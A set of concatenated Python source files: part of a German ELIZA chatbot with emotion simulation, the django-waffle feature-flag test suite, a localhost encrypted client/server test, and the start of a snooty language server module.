elif tag == 'emotionTrigger': # get set of emotional triggers parts = content.split(' ') word = parts[0] impulse = parts[1] emotion_trigger = (word, impulse) self.emotion_triggers[word] = emotion_trigger elif tag == 'key': parts = content.split(' ') word = parts[0] weight = int(parts[1]) if len(parts) > 1 else 1 key = Key(word, weight, []) self.keys[word] = key elif tag == 'decomp': parts = content.split(' ') save = False if parts[0] == '$': save = True parts = parts[1:] decomp = Decomp(parts, save, []) key.decomps.append(decomp) elif tag == 'reasmb': parts = content.split(' ') decomp.reasmbs.append(parts) def _match_decomp_r(self, parts, words, results): if not parts and not words: return True if not parts or (not words and parts != ['*']): return False if parts[0] == '*': for index in range(len(words), -1, -1): results.append(words[:index]) if self._match_decomp_r(parts[1:], words[index:], results): return True results.pop() return False elif parts[0].startswith('@'): root = parts[0][1:] if not root in self.synons: raise ValueError('Unknown synonym root {}'.format(root)) if not words[0].lower() in self.synons[root]: return False results.append([words[0]]) return self._match_decomp_r(parts[1:], words[1:], results) elif parts[0].lower() != words[0].lower(): return False else: return self._match_decomp_r(parts[1:], words[1:], results) def _match_decomp(self, parts, words): results = [] if self._match_decomp_r(parts, words, results): return results return None def _next_reasmb(self, decomp): index = decomp.next_reasmb_index result = decomp.reasmbs[index % len(decomp.reasmbs)] decomp.next_reasmb_index = index + 1 return result def _reassemble(self, reasmb, results): output = [] output_append = '' # In case of a question for Eliza's emotional state, evaluate whether # questioned emotion is true or not and response accordingly current_emotion = '' if '<emotion_response>' in reasmb: current_emotion = self.emotion() if current_emotion in self.input_emotions: output.append('Ja,') else: output.append('Nein,') # when user says sorry, an angry state is improved by a positive impulse if '<sorry>' in reasmb: current_emotion = self.emotion() if current_emotion == 'aergerlich' or current_emotion == 'genervt': self.send_impulse(50) # send emotional impulse and dominance attached to a reassembly rule if '<impulse>' in reasmb: impulse = reasmb[len(reasmb) - 1] impulse = impulse.replace('[', '') impulse = impulse.replace(']', '') impulse = impulse.split(',') # index 0: impulse value index 1: dominance value output_append = self.send_impulse(float(impulse[0]), float(impulse[1])) for reword in reasmb: if (not reword or reword == '<emotion_response>' or reword == '<impulse>' or reword == '<sorry>' or reword.startswith('<no_') or reword.startswith('[') or reword == '<switch>'): continue if reword[0] == '(' and reword[-1] == ')': index = int(reword[1:-1]) if index < 1 or index > len(results): raise ValueError('Invalid result index {}'.format(index)) if index == 1 and current_emotion: # insert current emotion when emotional state is questioned output.append(current_emotion) continue else: insert = results[index - 1] for punct in [',', '.', ';']: if punct in insert: insert = insert[:insert.index(punct)] output.extend(insert) elif reword == '<emotion>': # insert current emotion output.append(self.emotion()) else: output.append(reword) output.append(output_append) return output def _sub(self, words, sub): output = [] for word in words: word_lower = word.lower() if word_lower in sub: output.extend(sub[word_lower]) else: output.append(word) return output def _match_key(self, words, key): for decomp in key.decomps: results = self._match_decomp(decomp.parts, words) if results is None: log.debug('Decomp did not match: %s', decomp.parts) continue log.debug('Decomp matched: %s', decomp.parts) log.debug('Decomp results: %s', results) results = [self._sub(words, self.posts) for words in results] log.debug('Decomp results after posts: %s', results) reasmb = self._next_reasmb(decomp) log.debug('Using reassembly: %s', reasmb) if reasmb[0] == 'goto': goto_key = reasmb[1] if not goto_key in self.keys: raise ValueError('Invalid goto key {}'.format(goto_key)) log.debug('Goto key: %s', goto_key) return self._match_key(words, self.keys[goto_key]) output = self._reassemble(reasmb, results) if '<no_trigger>' not in reasmb: # retrieve emotional triggers emotion_triggers = [w.lower() for w in words if w.lower() in self.emotion_triggers] log.debug('Emotional Triggers: %s', [(t[0], t[1]) for t in emotion_triggers]) # accumulate and send emotional impulses impulse = 0 for trigger in emotion_triggers: new_impulse = float(self.emotion_triggers[trigger][1]) # if trigger is negated, switch its effect index_trigger = words.index(self.emotion_triggers[trigger][0]) if words[index_trigger - 1] == 'nicht' or '<switch>' in reasmb: new_impulse *= -1 if ('<no_pos_trigger>' in reasmb and new_impulse > 0): # no positive impulses permitted continue elif '<no_neg_trigger>' in reasmb and new_impulse < 0: # no negative impulses permitted continue impulse += new_impulse if impulse: output.append(self.send_impulse(impulse)) # FOR TESTING: always tell current emotional state # else: # output.append('Ich bin gerade ' + self.emotion()) if decomp.save: self.memory.append(output) log.debug('Saved to memory: %s', output) continue return output return None def respond(self, text): if text.lower() in self.quits: return None text = re.sub(r'\s*\.+\s*', ' . ', text) text = re.sub(r'\s*,+\s*', ' , ', text) text = re.sub(r'\s*;+\s*', ' ; ', text) log.debug('After punctuation cleanup: %s', text) words = [w for w in text.split(' ') if w] log.debug('Input: %s', words) words = self._sub(words, self.pres) log.debug('After pre-substitution: %s', words) # retrieve emotions from input self.input_emotions = [w.lower() for w in words if w.lower() in self.emotions] log.debug('Emotions: %s', self.input_emotions) keys = [self.keys[w.lower()] for w in words if w.lower() in self.keys] if self.input_emotions: # add key 'emotion' to key list in case an emotion was mentioned word = 'emotion' keys.append(self.keys[word]) keys = sorted(keys, key=lambda k: -k.weight) log.debug('Sorted keys: %s', [(k.word, k.weight) for k in keys]) output = None for key in keys: output = self._match_key(words, key) if output: log.debug('Output from key: %s', output) break if not output: if self.memory: index = random.randrange(len(self.memory)) output = self.memory.pop(index) log.debug('Output from memory: %s', output) else: output = self._next_reasmb(self.keys['xnone'].decomps[0]) log.debug('Output from xnone: %s', output) return ' '.join(output) def initial(self): return random.choice(self.initials) def final(self): return random.choice(self.finals) def emotion(self): return self.emotional_eliza.get_emotion() # retrieve emotion from emotion dynamics # return random.choice(self.emotions) # random emotion for task 2 def send_impulse(self, impulse, dominance=100): output = '' emotion_before_impulse = self.emotion() self.emotional_eliza.emotional_impulse(impulse) self.emotional_eliza.set_dominance(dominance) self.emotional_eliza.update_emotions() emotion_after_impulse = self.emotion() # tell user emotional state after impulse if emotion_after_impulse != emotion_before_impulse: # emotion changed after impulse if emotion_after_impulse == 'aengstlich': output = 'Das beunruhigt mich' elif emotion_after_impulse == 'froehlich': output = 'Das freut mich' else: output = 'Das stimmt mich ' + self.emotion() else: # emotion has not changed if emotion_before_impulse == 'aengstlich': output = 'Ich bin immer noch beunruhigt' elif emotion_after_impulse == 'froehlich': output: 'Ich bin immer noch erfreut' else: output = 'Ich bin immer noch ' + emotion_before_impulse return output def run(self): print(self.initial()) while True: sent = input('> ') output = self.respond(sent) if output is None: break print(output) print(self.final()) def main(): eliza = Eliza() # start thread continuously updating Eliza's emotions thread = threading.Thread(target=eliza.emotional_eliza.update_emotions_continuously) thread.daemon = True thread.start() eliza.load('doctor_de.txt') eliza.run() if __name__ == '__main__': logging.basicConfig() main()
test_waffle.py
from __future__ import unicode_literals import random import threading import unittest from django.contrib.auth import get_user_model from django.conf import settings from django.contrib.auth.models import AnonymousUser, Group from django.db import connection, transaction from django.test import RequestFactory, TransactionTestCase from django.test.utils import override_settings import mock import waffle from test_app import views from test_app.models import CompanyAwareFlag, Company from waffle.middleware import WaffleMiddleware from waffle.models import Sample, Switch from waffle.tests.base import TestCase from waffle.utils import is_authenticated def get(**kw): request = RequestFactory().get('/foo', data=kw) request.user = AnonymousUser() return request def process_request(request, view): response = view(request) return WaffleMiddleware().process_response(request, response) class WaffleTests(TestCase): def assert_flag_dynamically_created_with_value(self, expected_value): FLAG_NAME = 'my_dynamically_created_flag' flag_model = waffle.get_waffle_flag_model() assert flag_model.objects.count() == 0 assert expected_value == waffle.flag_is_active(get(), FLAG_NAME) assert flag_model.objects.count() == 1 flag = flag_model.objects.get(name=FLAG_NAME) assert flag.name == FLAG_NAME return flag def test_persist_active_flag(self): waffle.get_waffle_flag_model().objects.create(name='myflag', percent='0.1') request = get() # Flag stays on. request.COOKIES['dwf_myflag'] = 'True' response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' in response.cookies self.assertEqual('True', response.cookies['dwf_myflag'].value) def test_persist_inactive_flag(self): waffle.get_waffle_flag_model().objects.create(name='myflag', percent='99.9') request = get() # Flag stays off. request.COOKIES['dwf_myflag'] = 'False' response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' in response.cookies self.assertEqual('False', response.cookies['dwf_myflag'].value) def test_no_set_unused_flag(self): """An unused flag shouldn't have its cookie reset.""" request = get() request.COOKIES['dwf_unused'] = 'True' response = process_request(request, views.flag_in_view) assert 'dwf_unused' not in response.cookies def test_superuser(self): """Test the superuser switch.""" waffle.get_waffle_flag_model().objects.create(name='myflag', superusers=True) request = get() response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies superuser = get_user_model()(username='foo', is_superuser=True) request.user = superuser response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' not in response.cookies non_superuser = get_user_model()(username='bar', is_superuser=False) non_superuser.save() request.user = non_superuser response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies def test_staff(self): """Test the staff switch.""" waffle.get_waffle_flag_model().objects.create(name='myflag', staff=True) request = get() response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies staff = get_user_model()(username='foo', is_staff=True) request.user = staff response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' not in response.cookies non_staff = get_user_model()(username='foo', is_staff=False) non_staff.save() request.user = non_staff response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies def test_languages(self): waffle.get_waffle_flag_model().objects.create(name='myflag', languages='en,fr') request = get() response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) request.LANGUAGE_CODE = 'en' response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) request.LANGUAGE_CODE = 'de' response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) def test_user(self): """Test the per-user switch.""" user = get_user_model().objects.create(username='foo') flag = waffle.get_waffle_flag_model().objects.create(name='myflag') flag.users.add(user) request = get() request.user = user response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' not in response.cookies request.user = get_user_model().objects.create(username='someone_else') response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies def test_group(self): """Test the per-group switch.""" group = Group.objects.create(name='foo') user = get_user_model().objects.create(username='bar') user.groups.add(group) flag = waffle.get_waffle_flag_model().objects.create(name='myflag') flag.groups.add(group) request = get() request.user = user response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' not in response.cookies request.user = get_user_model()(username='someone_else') request.user.save() response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies def test_authenticated(self): """Test the authenticated/anonymous switch.""" waffle.get_waffle_flag_model().objects.create(name='myflag', authenticated=True) request = get() response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies request.user = get_user_model()(username='foo') assert is_authenticated(request.user) response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' not in response.cookies def test_everyone_on(self): """Test the 'everyone' switch on.""" waffle.get_waffle_flag_model().objects.create(name='myflag', everyone=True) request = get() request.COOKIES['dwf_myflag'] = 'False' response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' not in response.cookies request.user = get_user_model()(username='foo') assert is_authenticated(request.user) response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' not in response.cookies def test_everyone_off(self): """Test the 'everyone' switch off.""" waffle.get_waffle_flag_model().objects.create(name='myflag', everyone=False, authenticated=True) request = get() request.COOKIES['dwf_myflag'] = 'True' response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies request.user = get_user_model()(username='foo') assert is_authenticated(request.user) response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies def test_percent(self): """If you have no cookie, you get a cookie!""" waffle.get_waffle_flag_model().objects.create(name='myflag', percent='50.0') request = get() response = process_request(request, views.flag_in_view) assert 'dwf_myflag' in response.cookies @mock.patch.object(random, 'uniform') def test_reroll(self, uniform): """Even without a cookie, calling flag_is_active twice should return the same value.""" waffle.get_waffle_flag_model().objects.create(name='myflag', percent='50.0') # Make sure we're not really random. request = get() # Create a clean request. assert not hasattr(request, 'waffles') uniform.return_value = '10' # < 50. Flag is True. assert waffle.flag_is_active(request, 'myflag') assert hasattr(request, 'waffles') # We should record this flag. assert 'myflag' in request.waffles assert request.waffles['myflag'][0] uniform.return_value = '70' # > 50. Normally, Flag would be False. assert waffle.flag_is_active(request, 'myflag') assert request.waffles['myflag'][0] def test_undefined(self): """Undefined flags are always false.""" request = get() assert not waffle.flag_is_active(request, 'foo') @override_settings(WAFFLE_FLAG_DEFAULT=True) def test_undefined_default(self): """WAFFLE_FLAG_DEFAULT controls undefined flags.""" request = get() assert waffle.flag_is_active(request, 'foo') @override_settings(WAFFLE_OVERRIDE=True) def test_override(self): request = get(foo='1') waffle.get_waffle_flag_model().objects.create(name='foo') # Off for everyone. assert waffle.flag_is_active(request, 'foo') def test_testing_flag(self): waffle.get_waffle_flag_model().objects.create(name='foo', testing=True) request = get(dwft_foo='1') assert waffle.flag_is_active(request, 'foo') assert 'foo' in request.waffle_tests assert request.waffle_tests['foo'] # GET param should override cookie request = get(dwft_foo='0') request.COOKIES['dwft_foo'] = 'True' assert not waffle.flag_is_active(request, 'foo') assert 'foo' in request.waffle_tests assert not request.waffle_tests['foo'] def test_testing_disabled_flag(self): waffle.get_waffle_flag_model().objects.create(name='foo') request = get(dwft_foo='1') assert not waffle.flag_is_active(request, 'foo') assert not hasattr(request, 'waffle_tests') request = get(dwft_foo='0') assert not waffle.flag_is_active(request, 'foo') assert not hasattr(request, 'waffle_tests') def test_set_then_unset_testing_flag(self): waffle.get_waffle_flag_model().objects.create(name='myflag', testing=True) response = self.client.get('/flag_in_view?dwft_myflag=1') self.assertEqual(b'on', response.content) response = self.client.get('/flag_in_view') self.assertEqual(b'on', response.content) response = self.client.get('/flag_in_view?dwft_myflag=0') self.assertEqual(b'off', response.content) response = self.client.get('/flag_in_view') self.assertEqual(b'off', response.content) response = self.client.get('/flag_in_view?dwft_myflag=1') self.assertEqual(b'on', response.content) @override_settings(DATABASE_ROUTERS=['waffle.tests.base.ReplicationRouter']) def test_everyone_on_read_from_write_db(self): flag = waffle.get_waffle_flag_model().objects.create(name='myflag', everyone=True) request = get() response = process_request(request, views.flag_in_view) # By default, flag_is_active should hit whatever it configured as the # read DB (so values will be stale if replication is lagged). self.assertEqual(b'off', response.content) with override_settings(WAFFLE_READ_FROM_WRITE_DB=True): # Save the flag again to flush the cache. flag.save() # The next read should now be directed to the write DB, ensuring # the cache and DB are in sync. response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) @override_settings(WAFFLE_FLAG_MODEL='test_app.CompanyAwareFlag', AUTH_USER_MODEL='test_app.CompanyUser') def test_pluggable_model(self): flag_model = waffle.get_waffle_flag_model() self.assertEqual(CompanyAwareFlag, flag_model) acme_company = Company.objects.create(name='Acme Ltd.') feline_company = Company.objects.create(name='Feline LLC') acme_company_flag = waffle.get_waffle_flag_model().objects.create(name='myflag', superusers=True) acme_company_flag.companies.add(acme_company) request = get() response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies acme_user = get_user_model()(username='acme.mcfield', company=acme_company) request.user = acme_user response = process_request(request, views.flag_in_view) self.assertEqual(b'on', response.content) assert 'dwf_myflag' not in response.cookies feline_user = get_user_model()(username='acme.mcfield', company=feline_company) request.user = feline_user response = process_request(request, views.flag_in_view) self.assertEqual(b'off', response.content) assert 'dwf_myflag' not in response.cookies @override_settings(WAFFLE_CREATE_MISSING_FLAGS=True) @override_settings(WAFFLE_FLAG_DEFAULT=False) def test_flag_created_dynamically_default_false(self): self.assert_flag_dynamically_created_with_value(False) @override_settings(WAFFLE_CREATE_MISSING_FLAGS=True) @override_settings(WAFFLE_FLAG_DEFAULT=True) def test_flag_created_dynamically_default_true(self): self.assert_flag_dynamically_created_with_value(True) class SwitchTests(TestCase): def assert_switch_dynamically_created_with_value(self, expected_value): SWITCH_NAME = 'my_dynamically_created_switch' assert Switch.objects.count() == 0 assert expected_value == waffle.switch_is_active(SWITCH_NAME) assert Switch.objects.count() == 1 switch = Switch.objects.get(name=SWITCH_NAME) assert switch.name == SWITCH_NAME assert expected_value == switch.active def test_switch_active(self): switch = Switch.objects.create(name='myswitch', active=True) assert waffle.switch_is_active(switch.name) def test_switch_inactive(self): switch = Switch.objects.create(name='myswitch', active=False) assert not waffle.switch_is_active(switch.name) def test_switch_active_from_cache(self): """Do not make two queries for an existing active switch.""" switch = Switch.objects.create(name='myswitch', active=True) # Get the value once so that it will be put into the cache assert waffle.switch_is_active(switch.name) queries = len(connection.queries) assert waffle.switch_is_active(switch.name) self.assertEqual(queries, len(connection.queries)) def test_switch_inactive_from_cache(self): """Do not make two queries for an existing inactive switch.""" switch = Switch.objects.create(name='myswitch', active=False) # Get the value once so that it will be put into the cache assert not waffle.switch_is_active(switch.name) queries = len(connection.queries) assert not waffle.switch_is_active(switch.name) self.assertEqual(queries, len(connection.queries)) def test_undefined(self): assert not waffle.switch_is_active('foo') @override_settings(WAFFLE_SWITCH_DEFAULT=True) def test_undefined_default(self): assert waffle.switch_is_active('foo') @override_settings(DEBUG=True) def test_no_query(self): """Do not make two queries for a non-existent switch.""" assert not Switch.objects.filter(name='foo').exists() queries = len(connection.queries) assert not waffle.switch_is_active('foo') assert len(connection.queries) > queries queries = len(connection.queries) assert not waffle.switch_is_active('foo') self.assertEqual(queries, len(connection.queries)) @override_settings(DATABASE_ROUTERS=['waffle.tests.base.ReplicationRouter']) def test_read_from_write_db(self): switch = Switch.objects.create(name='switch', active=True) # By default, switch_is_active should hit whatever it configured as the # read DB (so values will be stale if replication is lagged). assert not waffle.switch_is_active(switch.name) with override_settings(WAFFLE_READ_FROM_WRITE_DB=True): # Save the switch again to flush the cache. switch.save() # The next read should now be directed to the write DB, ensuring # the cache and DB are in sync. assert waffle.switch_is_active(switch.name) @override_settings(WAFFLE_CREATE_MISSING_SWITCHES=True) @override_settings(WAFFLE_SWITCH_DEFAULT=False) def test_switch_created_dynamically_false(self): self.assert_switch_dynamically_created_with_value(False) @override_settings(WAFFLE_CREATE_MISSING_SWITCHES=True) @override_settings(WAFFLE_SWITCH_DEFAULT=True) def test_switch_created_dynamically_true(self): self.assert_switch_dynamically_created_with_value(True) class SampleTests(TestCase): def assert_sample_dynamically_created_with_value(self, is_active, expected_value): SAMPLE_NAME = 'my_dynamically_created_sample' assert Sample.objects.count() == 0 assert is_active == waffle.sample_is_active(SAMPLE_NAME) assert Sample.objects.count() == 1 sample = Sample.objects.get(name=SAMPLE_NAME) assert sample.name == SAMPLE_NAME assert sample.percent == expected_value def test_sample_100(self): sample = Sample.objects.create(name='sample', percent='100.0') assert waffle.sample_is_active(sample.name) def test_sample_0(self): sample = Sample.objects.create(name='sample', percent='0.0') assert not waffle.sample_is_active(sample.name) def test_undefined(self): assert not waffle.sample_is_active('foo') @override_settings(WAFFLE_SAMPLE_DEFAULT=True) def test_undefined_default(self): assert waffle.sample_is_active('foo') @override_settings(DATABASE_ROUTERS=['waffle.tests.base.ReplicationRouter']) def test_read_from_write_db(self): sample = Sample.objects.create(name='sample', percent='100.0') # By default, sample_is_active should hit whatever it configured as the # read DB (so values will be stale if replication is lagged). assert not waffle.sample_is_active(sample.name) with override_settings(WAFFLE_READ_FROM_WRITE_DB=True): # Save the sample again to flush the cache. sample.save() # The next read should now be directed to the write DB, ensuring # the cache and DB are in sync. assert waffle.sample_is_active(sample.name) @override_settings(WAFFLE_CREATE_MISSING_SAMPLES=True) @override_settings(WAFFLE_SAMPLE_DEFAULT=False) def test_sample_created_dynamically_default_false(self): self.assert_sample_dynamically_created_with_value(False, 0.0) @override_settings(WAFFLE_CREATE_MISSING_SAMPLES=True) @override_settings(WAFFLE_SAMPLE_DEFAULT=True) def test_sample_created_dynamically_default_true(self): self.assert_sample_dynamically_created_with_value(True, 100.0) class TransactionTestMixin(object): """Mixin providing an abstract test case for writing in a transaction. """ def create_toggle(self): """Create an inactive feature toggle (i.e. flag, switch, sample).""" raise NotImplementedError def flip_toggle(self, toggle): """Flip the toggle to an active state.""" raise NotImplementedError def toggle_is_active(self, toggle): """Use the built-in *_is_active helper to check the toggle's state.""" raise NotImplementedError @unittest.skipIf('sqlite3' in settings.DATABASES['default']['ENGINE'], 'This test uses threads, which the sqlite3 DB engine ' 'does not support.') def test_flip_toggle_in_transaction(self): """Wait to invalidate the cache until after the current transaction. This test covers a potential race condition where, if the cache were flushed in the middle of a transaction, the next read from the database (before the transaction is committed) would get a stale value and cache it. See #296 for more context. """ toggle = self.create_toggle() self.addCleanup(toggle.delete) written_in_background_thread = threading.Event() read_in_main_thread = threading.Event() @transaction.atomic def update_toggle(): self.flip_toggle(toggle) # Signal to the main thread that the toggle has been updated, but # the transaction is not yet committed. written_in_background_thread.set() # Pause here to allow the main thread to make an assertion. read_in_main_thread.wait(timeout=1) # Start a background thread to update the toggle in a transaction. t = threading.Thread(target=update_toggle) t.daemon = True t.start() # After the toggle is updated but before the transaction is committed, # the cache will still have the previous value. written_in_background_thread.wait(timeout=1) assert not self.toggle_is_active(toggle) # After the transaction is committed, the cache should have been # invalidated, hence the next call to *_is_active should have the # correct value. read_in_main_thread.set() t.join(timeout=1) assert self.toggle_is_active(toggle) class FlagTransactionTests(TransactionTestMixin, TransactionTestCase): def create_toggle(self): return waffle.get_waffle_flag_model().objects.create( name='transaction-flag-name', everyone=False ) def flip_toggle(self, flag): flag.everyone = True flag.save() def toggle_is_active(self, flag): return waffle.flag_is_active(get(), flag.name) class SwitchTransactionTests(TransactionTestMixin, TransactionTestCase): def create_toggle(self): return Switch.objects.create(name='transaction-switch-name', active=False) def flip_toggle(self, switch): switch.active = True switch.save() def toggle_is_active(self, switch): return waffle.switch_is_active(switch.name) class SampleTransactionTests(TransactionTestMixin, TransactionTestCase): def create_toggle(self): return Sample.objects.create(name='transaction-sample-name', percent=0) def flip_toggle(self, sample): sample.percent = 100 sample.save() def toggle_is_active(self, sample): return waffle.sample_is_active(sample.name)
test_cs.py
from socket import timeout import threading import time from hks_pylib.logger.standard import StdUsers from tests import schemes from tests.schemes import MyProtocols, SubmitRoles from tests.submit_scheme import SubmitServerScheme, SubmitClientScheme from csbuilder.server import Listener from csbuilder.client import ClientResponser from hks_pylib.logger import Display from hks_pylib.logger import StandardLoggerGenerator from hks_pylib.cryptography.ciphers.symmetrics import AES_CTR KEY = b"0123456789abcdeffedcba9876543210" def run_listener(): logger_generator = StandardLoggerGenerator("tests/test_server.log") listener = Listener( name="Listener", cipher=AES_CTR(KEY), address=("127.0.0.1", 1999), logger_generator=logger_generator, display={StdUsers.USER: Display.ALL, StdUsers.DEV: Display.ALL} ) listener.session_manager().create_session(scheme=SubmitServerScheme()) listener.session_manager().create_session(scheme=SubmitClientScheme()) listener.listen() responser = listener.accept(False) responser.session_manager().get_scheme(MyProtocols.SUBMIT, SubmitRoles.SERVER).config( forwarder_name = responser._forwarder.name ) responser.session_manager().get_scheme(MyProtocols.SUBMIT, SubmitRoles.CLIENT).config( responser._forwarder.name ) responser.start(True) result = responser.activate(MyProtocols.SUBMIT, SubmitRoles.CLIENT) print("ACTIVATE RESULT", result) listener.close() print(responser.wait_result(MyProtocols.SUBMIT, SubmitRoles.CLIENT, timeout = 5)) responser.close() def run_client(): logger_generator = StandardLoggerGenerator("tests/test_client.log") client = ClientResponser( name="Client Responser", cipher=AES_CTR(KEY), address=("127.0.0.1", 1999), logger_generator=logger_generator, display={StdUsers.USER: Display.ALL, StdUsers.DEV: Display.ALL} ) client.session_manager().create_session( scheme=SubmitClientScheme(client._forwarder.name) ) client.session_manager().create_session( scheme=SubmitServerScheme(client._forwarder.name) ) client.connect() client.start(True) print("SCHEME's RESULT:", client.wait_result( MyProtocols.SUBMIT, SubmitRoles.SERVER, timeout = 5 ) ) client.close() def test_client_server(): print("Start listener") t1 = threading.Thread(target=run_listener, name="LISTENER") t1.start() time.sleep(1) print("Start client") t2 = threading.Thread(target=run_client, name="CLIENT") t2.start() t1.join() t2.join()
language_server.py
import enum import logging import os from snooty.lsp import CompletionItemKind import sys import threading from urllib.parse import urlparse, unquote from urllib.request import url2pathname from collections import defaultdict from dataclasses import dataclass from functools import wraps from pathlib import Path, PurePath from typing import ( Any, BinaryIO, Callable, DefaultDict, Dict, List, Optional, TypeVar, Union, cast, ) import pyls_jsonrpc.dispatchers import pyls_jsonrpc.endpoint import pyls_jsonrpc.streams from . import n, util from .diagnostics import Diagnostic from .flutter import check_type, checked from .page import Page from .parser import Project from .types import BuildIdentifierSet, FileId, SerializableType _F = TypeVar("_F", bound=Callable[..., Any]) Uri = str PARENT_PROCESS_WATCH_INTERVAL_SECONDS = 60 logger = logging.getLogger(__name__) class debounce: def __init__(self, wait: float) -> None: self.wait = wait def __call__(self, fn: _F) -> _F: wait = self.wait @wraps(fn) def debounced(*args: Any, **kwargs: Any) -> Any: def action() -> None: fn(*args, **kwargs) try: getattr(debounced, "debounce_timer").cancel() except AttributeError: pass timer = threading.Timer(wait, action) setattr(debounced, "debounce_timer", timer) timer.start() return cast(_F, debounced) @checked @dataclass class Position: line: int character: int @checked @dataclass class Range: start: Position end: Position @checked @dataclass class Location: uri: Uri range: Range @checked @dataclass class TextDocumentIdentifier: uri: Uri @checked @dataclass class TextDocumentItem: uri: Uri languageId: str version: int text: str @checked @dataclass class VersionedTextDocumentIdentifier(TextDocumentIdentifier): version: Union[int, None] @checked @dataclass class TextDocumentContentChangeEvent: range: Optional[Range] rangeLength: Optional[int] text: str @checked @dataclass class DiagnosticRelatedInformation: location: Location message: str @checked @dataclass class LanguageServerDiagnostic: range: Range severity: Optional[int] code: Union[int, str, None] source: Optional[str] message: str relatedInformation: Optional[List[DiagnosticRelatedInformation]] @checked @dataclass class Command: title: str command: str arguments: Optional[object] @checked @dataclass class TextEdit: range: Range newText: str @checked @dataclass class TextDocumentEdit: textDocument: VersionedTextDocumentIdentifier edits: List[TextEdit] @checked @dataclass class CompletionItem: label: str kind: int detail: str documentation: str sortText: str @checked @dataclass class CompletionList: isIncomplete: bool items: List[CompletionItem] if sys.platform == "win32": import ctypes kernel32 = ctypes.windll.kernel32 PROCESS_QUERY_INFROMATION = 0x1000 def pid_exists(pid: int) -> bool: process = kernel32.OpenProcess(PROCESS_QUERY_INFROMATION, 0, pid) if process != 0: kernel32.CloseHandle(process) return True return False else: def pid_exists(pid: int) -> bool: try: os.kill(pid, 0) except ProcessLookupError: return False else: return True class Backend: def __init__(self, server: "LanguageServer") -> None: self.server = server self.pending_diagnostics: DefaultDict[FileId, List[Diagnostic]] = defaultdict( list ) def on_progress(self, progress: int, total: int, message: str) -> None: pass def on_diagnostics(self, fileid: FileId, diagnostics: List[Diagnostic]) -> None: self.pending_diagnostics[fileid].extend(diagnostics) self.server.notify_diagnostics() def on_update( self, prefix: List[str], build_identifiers: BuildIdentifierSet, page_id: FileId, page: Page, ) -> None: pass def on_update_metadata( self, prefix: List[str], build_identifiers: BuildIdentifierSet, field: Dict[str, SerializableType], ) -> None: pass def on_delete(self, page_id: FileId, build_identifiers: BuildIdentifierSet) -> None: pass def flush(self) -> None: pass class DiagnosticSeverity(enum.IntEnum): """The Language Server Protocol's DiagnosticSeverity namespace enumeration. See: https://microsoft.github.io/language-server-protocol/specification#diagnostic""" error = 1 warning = 2 information = 3 hint = 4 @classmethod def from_diagnostic(cls, level: Diagnostic.Level) -> "DiagnosticSeverity": """Convert an internal Snooty Diagnostic's level to a DiagnosticSeverity value.""" if level is Diagnostic.Level.info: return cls.information elif level is Diagnostic.Level.warning: return cls.warning elif level is Diagnostic.Level.error: return cls.error @dataclass class WorkspaceEntry: page_id: FileId document_uri: Uri diagnostics: List[Diagnostic] def create_lsp_diagnostics(self) -> List[object]: return [ { "range": { "start": { "line": diagnostic.start[0], "character": diagnostic.start[1], }, "end": {"line": diagnostic.end[0], "character": diagnostic.end[1]}, }, "severity": DiagnosticSeverity.from_diagnostic(diagnostic.severity), "message": diagnostic.message, "code": type(diagnostic).__name__, "source": "snooty", } for diagnostic in self.diagnostics ] class LanguageServer(pyls_jsonrpc.dispatchers.MethodDispatcher): def __init__(self, rx: BinaryIO, tx: BinaryIO) -> None: self.backend = Backend(self) self.project: Optional[Project] = None self.workspace: Dict[str, WorkspaceEntry] = {} self.diagnostics: Dict[PurePath, List[Diagnostic]] = {} self._jsonrpc_stream_reader = pyls_jsonrpc.streams.JsonRpcStreamReader(rx) self._jsonrpc_stream_writer = pyls_jsonrpc.streams.JsonRpcStreamWriter(tx) self._endpoint = pyls_jsonrpc.endpoint.Endpoint( self, self._jsonrpc_stream_writer.write ) self._shutdown = False def start(self) -> None: self._jsonrpc_stream_reader.listen(self._endpoint.consume) def notify_diagnostics(self) -> None: """Handle the backend notifying us that diagnostics are available to be pulled.""" if not self.project: logger.debug("Received diagnostics, but project not ready") return for fileid, diagnostics in self.backend.pending_diagnostics.items(): self._set_diagnostics(fileid, diagnostics) self.backend.pending_diagnostics.clear() def update_file(self, page_path: Path, change: Optional[str] = None) -> None: if not self.project: return if page_path.suffix not in util.SOURCE_FILE_EXTENSIONS: return self.project.update(page_path, change) def _set_diagnostics(self, fileid: FileId, diagnostics: List[Diagnostic]) -> None: self.diagnostics[fileid] = diagnostics uri = self.fileid_to_uri(fileid) workspace_item = self.workspace.get(uri, None) if workspace_item is None: workspace_item = WorkspaceEntry(fileid, uri, []) workspace_item.diagnostics = diagnostics 